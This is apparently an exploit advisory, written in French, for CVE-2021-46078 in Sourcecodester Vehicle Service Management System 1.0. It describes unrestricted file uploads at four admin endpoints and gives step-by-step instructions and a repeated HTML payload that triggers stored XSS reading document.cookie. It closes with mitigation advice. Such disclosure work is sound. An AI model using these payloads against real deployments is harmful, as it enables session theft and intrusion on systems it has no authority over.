CVE-2021-46078
Titre de l'exploit : Vehicle Service Management System - 'Multiple' téléchargement de fichiers menant à un Cross-Site Scripting stocké
Auteur de l'exploit : SANU P.L
CVE: CVE-2021-46078
CVSS: 4.8 MOYEN
Références:
Description:
Une vulnérabilité de téléchargement de fichiers sans restriction existe dans Sourcecodester Vehicle Service Management System 1.0. Un attaquant distant peut télécharger des fichiers malveillants menant à une vulnérabilité de Cross-Site Scripting stocké.
1. Vehicle Service Management System - 'MyAccount' (/admin/?page=user)
Exploit:
- Connectez-vous au panneau d'administration http://localhost/vehicle_service/admin
- Accédez à la section My Account http://localhost/vehicle_service/admin/?page=user
Payload:
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- Enregistrez le code html ci-dessus, par exemple : XSS.html
- Dans la section My Account, saisissez tous les détails requis et parcourez le fichier html dans Avatar.
- Cliquez sur le bouton Update.
- Ouvrez l'image de l'avatar dans un nouvel onglet.
- Le code javascript malveillant est déclenché.
2. Vehicle Service Management System - 'User List' (/admin/?page=user/manage_user)
Exploit:
- Connectez-vous au panneau d'administration http://localhost/vehicle_service/admin
- Accédez à la section User List et cliquez sur le bouton Create New.
Payload:
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- Enregistrez le code html ci-dessus, par exemple : XSS.html
- Dans la page Create New User, saisissez tous les détails requis et parcourez le fichier html dans Avatar.
- Cliquez sur le bouton Save.
- Ouvrez l'image de l'avatar dans un nouvel onglet.
- Le code javascript malveillant est déclenché.
3. Vehicle Service Management System - 'Paramètres - Logo du système' (/admin/?page=system_info)
Exploit:
- Connectez-vous au panneau d'administration http://localhost/vehicle_service/admin
- Accédez à la section Paramètres http://localhost/vehicle_service/admin/?page=system_info
Payload:
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- Enregistrez le code html ci-dessus, par exemple : XSS.html
- Dans la section Paramètres, saisissez tous les détails requis et parcourez le fichier html dans Logo du système.
- Cliquez sur le bouton Update.
- Ouvrez l'image du Logo du système dans un nouvel onglet.
- Le code javascript malveillant est déclenché.
4. Vehicle Service Management System - 'Paramètres - Couverture du site Web' (/admin/?page=system_info)
Exploit:
- Connectez-vous au panneau d'administration http://localhost/vehicle_service/admin
- Accédez à la section Paramètres http://localhost/vehicle_service/admin/?page=system_info
Payload:
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- Enregistrez le code html ci-dessus, par exemple : XSS.html
- Dans la section Paramètres, saisissez tous les détails requis et parcourez le fichier html dans Couverture du site Web.
- Cliquez sur le bouton Update.
- Ouvrez l'image de la Couverture du site Web dans un nouvel onglet.
- Le code javascript malveillant est déclenché.
Impact:
Un attaquant peut télécharger un fichier malveillant sur plusieurs points de terminaison, ce qui conduit à un Cross-Site Scripting stocké.
Atténuation:
Il est recommandé de mettre en œuvre les mesures suivantes :
- N'acceptez jamais un nom de fichier et son extension directement sans avoir un filtre de liste blanche.
- S'il n'est pas nécessaire d'avoir des caractères Unicode, il est fortement recommandé de n'accepter que des caractères alphanumériques et un seul point comme entrée pour le nom de fichier et l'extension.
- Limitez la taille du fichier à une valeur maximale afin d'empêcher les attaques par déni de service.
- Le répertoire de téléchargement ne doit avoir aucune permission "exécution".
- Ne vous fiez pas uniquement à la validation côté client.